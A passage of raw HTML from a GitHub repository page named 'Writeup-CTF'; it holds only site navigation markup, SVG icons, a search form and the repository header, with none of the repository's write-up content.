8.75a.25.25 0 0 0-.25-.25h-3.5a.75.75 0 0 1 0-1.5h3.5c.966 0 1.75.784 1.75 1.75v9.5A1.75 1.75 0 0 1 22.25 20H21v1.543a1.457 1.457 0 0 1-2.487 1.03L15.939 20H10.75A1.75 1.75 0 0 1 9 18.25v-1.465a.75.75 0 0 1 1.5 0v1.465c0 .138.112.25.25.25h5.5a.75.75 0 0 1 .53.22l2.72 2.72v-2.19a.75.75 0 0 1 .75-.75h2a.25.25 0 0 0 .25-.25v-9.5Z"></path></svg> <div> <div class="color-fg-default h4">Discussions</div> Collaborate outside of code </div> Explore All features Documentation <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg> GitHub Skills <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg> Blog <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg> </div> <button type="button" class="HeaderMenu-link border-0 width-full width-lg-auto px-0 px-lg-2 py-3 py-lg-2 no-wrap d-flex flex-items-center flex-justify-between js-details-target" aria-expanded="false"> Solutions <svg opacity="0.5" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-chevron-down HeaderMenu-icon ml-1"> <path d="M12.78 5.22a.749.749 0 0 1 0 1.06l-4.25 4.25a.749.749 0 0 1-1.06 0L3.22 6.28a.749.749 0 1 1 1.06-1.06L8 8.939l3.72-3.719a.749.749 0 0 1 1.06 0Z"></path></svg> </button> <div class="HeaderMenu-dropdown dropdown-menu rounded m-0 p-0 py-2 py-lg-4 position-relative position-lg-absolute left-0 left-lg-n3 px-lg-4"> For Enterprise Teams Startups Education <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg> By Solution CI/CD & Automation DevOps <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg> DevSecOps <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg> Case Studies Customer Stories Resources <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg> </div> <button type="button" class="HeaderMenu-link border-0 width-full width-lg-auto px-0 px-lg-2 py-3 py-lg-2 no-wrap d-flex flex-items-center flex-justify-between js-details-target" aria-expanded="false"> Open Source <svg opacity="0.5" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-chevron-down HeaderMenu-icon ml-1"> <path d="M12.78 5.22a.749.749 0 0 1 0 1.06l-4.25 4.25a.749.749 0 0 1-1.06 0L3.22 6.28a.749.749 0 1 1 1.06-1.06L8 8.939l3.72-3.719a.749.749 0 0 1 1.06 0Z"></path></svg> </button> <div class="HeaderMenu-dropdown dropdown-menu rounded m-0 p-0 py-2 py-lg-4 position-relative position-lg-absolute left-0 left-lg-n3 px-lg-4"> <div> <div class="color-fg-default h4">GitHub Sponsors</div> Fund open source developers </div> <div> <div class="color-fg-default h4">The ReadME Project</div> GitHub community articles </div> Repositories Topics Trending Collections </div> Pricing </nav> <div class="d-lg-flex flex-items-center px-3 px-lg-0 mb-3 mb-lg-0 text-center text-lg-left"> <div class="d-lg-flex min-width-0 mb-2 mb-lg-0"> <div class="header-search flex-auto position-relative js-site-search flex-self-stretch flex-md-self-auto mb-3 mb-md-0 mr-0 mr-md-3 scoped-search site-scoped-search js-jump-to"> <div class="position-relative"> </option></form><form class="js-site-search-form" role="search" aria-label="Site" data-scope-type="Repository" data-scope-id="253413964" data-scoped-search-url="/HaoJame/Writeup-CTF/search" data-owner-scoped-search-url="/users/HaoJame/search" data-unscoped-search-url="/search" data-turbo="false" action="/HaoJame/Writeup-CTF/search" accept-charset="UTF-8" method="get"> <label class="form-control header-search-wrapper input-sm p-0 js-chromeless-input-container header-search-wrapper-jump-to position-relative d-flex flex-justify-between flex-items-center"> <input type="text" class="form-control js-site-search-focus header-search-input jump-to-field js-jump-to-field js-site-search-field is-clearable" data-hotkey=s,/ name="q" placeholder="Search" data-unscoped-placeholder="Search GitHub" data-scoped-placeholder="Search" autocapitalize="off" role="combobox" aria-haspopup="listbox" aria-expanded="false" aria-autocomplete="list" aria-controls="jump-to-results" aria-label="Search" data-jump-to-suggestions-path="/_graphql/GetSuggestedNavigationDestinations" spellcheck="false" autocomplete="off" > <input type="hidden" data-csrf="true" class="js-data-jump-to-suggestions-path-csrf" value="hKi7MkWHm/jb2BUzkFLmJV8MBa0oZ7ZFgO6BL8ACXqjZJfasaXs6p5u9B/NYXLGRzZlVeBNJO7FQEKbDTdRg9w==" /> <input type="hidden" class="js-site-search-type-field" name="type" > <svg xmlns="http://www.w3.org/2000/svg" width="22" height="20" aria-hidden="true" class="mr-1 header-search-key-slash"><path fill="none" stroke="#979A9C" opacity=".4" d="M3.5.5h12c1.7 0 3 1.3 3 3v13c0 1.7-1.3 3-3 3h-12c-1.7 0-3-1.3-3-3v-13c0-1.7 1.3-3 3-3z"></path><path fill="#979A9C" d="M11.8 6L8 15.1h-.9L10.8 6h1z"></path></svg> <div class="Box position-absolute overflow-hidden d-none jump-to-suggestions js-jump-to-suggestions-container"> <div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path d="M1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25V1.75C0 .784.784 0 1.75 0ZM1.5 1.75v12.5c0 .138.112.25.25.25h12.5a.25.25 0 0 0 .25-.25V1.75a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25ZM11.75 3a.75.75 0 0 1 .75.75v7.5a.75.75 0 0 1-1.5 0v-7.5a.75.75 0 0 1 .75-.75Zm-8.25.75a.75.75 0 0 1 1.5 0v5.5a.75.75 0 0 1-1.5 0ZM8 3a.75.75 0 0 1 .75.75v3.5a.75.75 0 0 1-1.5 0v-3.5A.75.75 0 0 1 8 3Z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path d="M10.68 11.74a6 6 0 0 1-7.922-8.982 6 6 0 0 1 8.982 7.922l3.04 3.04a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215ZM11.5 7a4.499 4.499 0 1 0-8.997 0A4.499 4.499 0 0 0 11.5 7Z"></path></svg> </div> <div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div> <div class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none js-jump-to-badge-search"> <span> In this repository </span> <span> All GitHub </span> <span>↵</span> </div> <div aria-hidden="true" class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div> <span>No suggested jump to results</span> <div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path d="M1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25V1.75C0 .784.784 0 1.75 0ZM1.5 1.75v12.5c0 .138.112.25.25.25h12.5a.25.25 0 0 0 .25-.25V1.75a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25ZM11.75 3a.75.75 0 0 1 .75.75v7.5a.75.75 0 0 1-1.5 0v-7.5a.75.75 0 0 1 .75-.75Zm-8.25.75a.75.75 0 0 1 1.5 0v5.5a.75.75 0 0 1-1.5 0ZM8 3a.75.75 0 0 1 .75.75v3.5a.75.75 0 0 1-1.5 0v-3.5A.75.75 0 0 1 8 3Z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path d="M10.68 11.74a6 6 0 0 1-7.922-8.982 6 6 0 0 1 8.982 7.922l3.04 3.04a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215ZM11.5 7a4.499 4.499 0 1 0-8.997 0A4.499 4.499 0 0 0 11.5 7Z"></path></svg> </div> <div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div> <div class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none js-jump-to-badge-search"> <span> In this repository </span> <span> All GitHub </span> <span>↵</span> </div> <div aria-hidden="true" class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div> <div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path d="M1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25V1.75C0 .784.784 0 1.75 0ZM1.5 1.75v12.5c0 .138.112.25.25.25h12.5a.25.25 0 0 0 .25-.25V1.75a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25ZM11.75 3a.75.75 0 0 1 .75.75v7.5a.75.75 0 0 1-1.5 0v-7.5a.75.75 0 0 1 .75-.75Zm-8.25.75a.75.75 0 0 1 1.5 0v5.5a.75.75 0 0 1-1.5 0ZM8 3a.75.75 0 0 1 .75.75v3.5a.75.75 0 0 1-1.5 0v-3.5A.75.75 0 0 1 8 3Z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path d="M10.68 11.74a6 6 0 0 1-7.922-8.982 6 6 0 0 1 8.982 7.922l3.04 3.04a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215ZM11.5 7a4.499 4.499 0 1 0-8.997 0A4.499 4.499 0 0 0 11.5 7Z"></path></svg> </div> <div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div> <div class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none js-jump-to-badge-search"> <span> In this user </span> <span> All GitHub </span> <span>↵</span> </div> <div aria-hidden="true" class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div> <div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path d="M1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25V1.75C0 .784.784 0 1.75 0ZM1.5 1.75v12.5c0 .138.112.25.25.25h12.5a.25.25 0 0 0 .25-.25V1.75a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25ZM11.75 3a.75.75 0 0 1 .75.75v7.5a.75.75 0 0 1-1.5 0v-7.5a.75.75 0 0 1 .75-.75Zm-8.25.75a.75.75 0 0 1 1.5 0v5.5a.75.75 0 0 1-1.5 0ZM8 3a.75.75 0 0 1 .75.75v3.5a.75.75 0 0 1-1.5 0v-3.5A.75.75 0 0 1 8 3Z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path d="M10.68 11.74a6 6 0 0 1-7.922-8.982 6 6 0 0 1 8.982 7.922l3.04 3.04a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215ZM11.5 7a4.499 4.499 0 1 0-8.997 0A4.499 4.499 0 0 0 11.5 7Z"></path></svg> </div> <div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div> <div class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none js-jump-to-badge-search"> <span> In this repository </span> <span> All GitHub </span> <span>↵</span> </div> <div aria-hidden="true" class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div> </div> </label></form> </div></div> </div> <div class="position-relative mr-lg-3 d-lg-inline-block"> Sign in </div> Sign up </div> </div> </div> </div></header> </div> <div id="start-of-content" class="show-on-focus"></div> <div id="js-flash-container" data-turbo-replace> <template class="js-flash-template"> <div class="flash flash-full {{ className }}"> <div class="px-2" > <button autofocus class="flash-close js-flash-close" type="button" aria-label="Dismiss this message"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg> </button> <div aria-atomic="true" role="alert" class="js-flash-alert"> <div>{{ message }}</div> </div> </div></div> </template></div> <include-fragment class="js-notification-shelf-include-fragment" data-base-src="https://github.com/notifications/beta/shelf"></include-fragment> <div class="application-main " data-commit-hovercards-enabled data-discussion-hovercards-enabled data-issue-and-pr-hovercards-enabled > <div itemscope itemtype="http://schema.org/SoftwareSourceCode" class=""> <main id="js-repo-pjax-container" > <div id="repository-container-header" class="pt-3 hide-full-screen" style="background-color: var(--color-page-header-bg);" data-turbo-replace> <div class="d-flex flex-wrap flex-justify-end mb-3 px-3 px-md-4 px-lg-5" style="gap: 1rem;"> <div class="flex-auto min-width-0 width-fit mr-3"> <div class=" d-flex flex-wrap flex-items-center wb-break-word f3 text-normal"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo color-fg-muted mr-2"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <span> HaoJame </span> <span>/</span> Writeup-CTF <span></span><span>Public</span> </div> </div> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-bell mr-2"> <path d="M8 16a2 2 0 0 0 1.985-1.75c.017-.137-.097-.25-.235-.25h-3.5c-.138 0-.252.113-.235.25A2 2 0 0 0 8 16ZM3 5a5 5 0 0 1 10 0v2.947c0 .05.015.098.042.139l1.703 2.555A1.519 1.519 0 0 1 13.482 13H2.518a1.516 1.516 0 0 1-1.263-2.36l1.703-2.554A.255.255 0 0 0 3 7.947Zm5-3.5A3.5 3.5 0 0 0 4.5 5v2.947c0 .346-.102.683-.294.97l-1.703 2.556a.017.017 0 0 0-.003.01l.001.006c0 .002.002.004.004.006l.006.004.007.001h10.964l.007-.001.006-.004.004-.006.001-.007a.017.017 0 0 0-.003-.01l-1.703-2.554a1.745 1.745 0 0 1-.294-.97V5A3.5 3.5 0 0 0 8 1.5Z"></path></svg>Notifications <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo-forked mr-2"> <path d="M5 5.372v.878c0 .414.336.75.75.75h4.5a.75.75 0 0 0 .75-.75v-.878a2.25 2.25 0 1 1 1.5 0v.878a2.25 2.25 0 0 1-2.25 2.25h-1.5v2.128a2.251 2.251 0 1 1-1.5 0V8.5h-1.5A2.25 2.25 0 0 1 3.5 6.25v-.878a2.25 2.25 0 1 1 1.5 0ZM5 3.25a.75.75 0 1 0-1.5 0 .75.75 0 0 0 1.5 0Zm6.75.75a.75.75 0 1 0 0-1.5.75.75 0 0 0 0 1.5Zm-3 8.75a.75.75 0 1 0-1.5 0 .75.75 0 0 0 1.5 0Z"></path></svg>Fork <span>0</span> <div data-view-component="true" class="BtnGroup d-flex"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-star v-align-text-bottom d-inline-block mr-2"> <path d="M8 .25a.75.75 0 0 1 .673.418l1.882 3.815 4.21.612a.75.75 0 0 1 .416 1.279l-3.046 2.97.719 4.192a.751.751 0 0 1-1.088.791L8 12.347l-3.766 1.98a.75.75 0 0 1-1.088-.79l.72-4.194L.818 6.374a.75.75 0 0 1 .416-1.28l4.21-.611L7.327.668A.75.75 0 0 1 8 .25Zm0 2.445L6.615 5.5a.75.75 0 0 1-.564.41l-3.097.45 2.24 2.184a.75.75 0 0 1 .216.664l-.528 3.084 2.769-1.456a.75.75 0 0 1 .698 0l2.77 1.456-.53-3.084a.75.75 0 0 1 .216-.664l2.24-2.183-3.096-.45a.75.75 0 0 1-.564-.41L8 2.694Z"></path></svg><span> Star</span> <span>0</span> <button disabled="disabled" aria-label="You must be signed in to add this repository to a list" type="button" data-view-component="true" class="btn-sm btn BtnGroup-item px-2"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-triangle-down"> <path d="m4.427 7.427 3.396 3.396a.25.25 0 0 0 .354 0l3.396-3.396A.25.25 0 0 0 11.396 7H4.604a.25.25 0 0 0-.177.427Z"></path></svg></button></div> </div> <div id="responsive-meta-container" data-turbo-replace></div> <nav data-pjax="#js-repo-pjax-container" aria-label="Repository" data-view-component="true" class="js-repo-nav js-sidenav-container-pjax js-responsive-underlinenav overflow-hidden UnderlineNav px-3 px-md-4 px-lg-5"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-code UnderlineNav-octicon d-none d-sm-inline"> <path d="m11.28 3.22 4.25 4.25a.75.75 0 0 1 0 1.06l-4.25 4.25a.749.749 0 0 1-1.275-.326.749.749 0 0 1 .215-.734L13.94 8l-3.72-3.72a.749.749 0 0 1 .326-1.275.749.749 0 0 1 .734.215Zm-6.56 0a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042L2.06 8l3.72 3.72a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L.47 8.53a.75.75 0 0 1 0-1.06Z"></path></svg> <span>Code</span> <span></span> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-issue-opened UnderlineNav-octicon d-none d-sm-inline"> <path d="M8 9.5a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3Z"></path><path d="M8 0a8 8 0 1 1 0 16A8 8 0 0 1 8 0ZM1.5 8a6.5 6.5 0 1 0 13 0 6.5 6.5 0 0 0-13 0Z"></path></svg> <span>Issues</span> <span>0</span> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-git-pull-request UnderlineNav-octicon d-none d-sm-inline"> <path d="M1.5 3.25a2.25 2.25 0 1 1 3 2.122v5.256a2.251 2.251 0 1 1-1.5 0V5.372A2.25 2.25 0 0 1 1.5 3.25Zm5.677-.177L9.573.677A.25.25 0 0 1 10 .854V2.5h1A2.5 2.5 0 0 1 13.5 5v5.628a2.251 2.251 0 1 1-1.5 0V5a1 1 0 0 0-1-1h-1v1.646a.25.25 0 0 1-.427.177L7.177 3.427a.25.25 0 0 1 0-.354ZM3.75 2.5a.75.75 0 1 0 0 1.5.75.75 0 0 0 0-1.5Zm0 9.5a.75.75 0 1 0 0 1.5.75.75 0 0 0 0-1.5Zm8.25.75a.75.75 0 1 0 1.5 0 .75.75 0 0 0-1.5 0Z"></path></svg> <span>Pull requests</span> <span>0</span> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-play UnderlineNav-octicon d-none d-sm-inline"> <path d="M8 0a8 8 0 1 1 0 16A8 8 0 0 1 8 